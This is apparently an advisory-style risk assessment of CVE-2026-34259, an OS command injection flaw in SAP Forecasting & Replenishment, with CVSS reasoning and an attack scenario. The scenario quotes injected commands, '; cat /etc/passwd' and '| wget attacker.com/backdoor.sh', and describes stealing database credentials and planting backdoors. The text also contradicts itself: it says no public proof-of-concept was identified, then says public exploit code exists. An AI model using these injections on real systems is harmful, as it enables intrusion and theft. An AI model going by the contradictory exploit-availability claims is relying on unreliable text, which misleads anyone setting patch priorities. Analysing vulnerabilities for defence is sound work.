SAP Forecasting & Replenishment CVE-2026-34259

Requires authenticated administrative access to SAP Forecasting & Replenishment with authorizations sufficient to execute the vulnerable non-remote-enabled function module, typically S_RFC authorization for function group execution or S_DEVELOP for debugging privileges. Attack vector is local (AV:L), meaning the attacker must have direct access to the SAP application layer through SAP GUI, web-based interfaces, or terminal access to the application server - not exploitable via external network connections to SAP ports alone. The vulnerability is in a non-remote-enabled function which by SAP design should not be callable via RFC from external systems, limiting attack surface to authenticated sessions within the SAP landscape. No user interaction required (UI:N) once administrative access is obtained. Exploitation is straightforward (AC:L) for users familiar with SAP function module execution patterns and command injection techniques. Limiting factors: High privilege requirement substantially reduces attacker pool to trusted administrators or compromised admin accounts; local-only vector prevents direct internet-based exploitation.

Despite the high CVSS 8.2 score, real-world exploitation risk is significantly constrained by attack prerequisites. The AV:L (local) vector means attackers need existing access to the SAP application server, not just network connectivity to SAP GUI or web interfaces. The PR:H (high privileges required) constraint limits exploitation to users with administrative authorizations within SAP Forecasting & Replenishment, typically BASIS administrators or power users with debugging/configuration rights. The changed scope (S:C) indicates potential lateral movement beyond the vulnerable component. EPSS data not provided, and no CISA KEV listing indicates this is not being actively exploited in the wild. No public proof-of-concept identified. This represents a serious insider threat or post-compromise escalation vector rather than an initial access vulnerability. Priority should be medium-to-high for organizations running SAP F&R with multiple administrators, lower for tightly controlled environments with limited admin access. The combination of local-only exploitation and high privilege requirements substantially reduces attack surface compared to network-accessible vulnerabilities.

An SAP Basis administrator with legitimate high-privilege access to the F&R system authenticates locally to the SAP application server via SAP GUI or web interface. The attacker navigates to a system configuration transaction that invokes the vulnerable non-remote-enabled function module, injecting malicious OS commands into input parameters (e.g., semicolons or pipe characters to chain commands like '; cat /etc/passwd' or '| wget attacker.com/backdoor.sh'). The SAP kernel executes these commands with the privileges of the <sid>adm user, allowing the attacker to extract sensitive SAP database credentials from secure store files, modify transport files to inject backdoors into ABAP code, or shut down the SAP instance. Publicly available exploit code exists.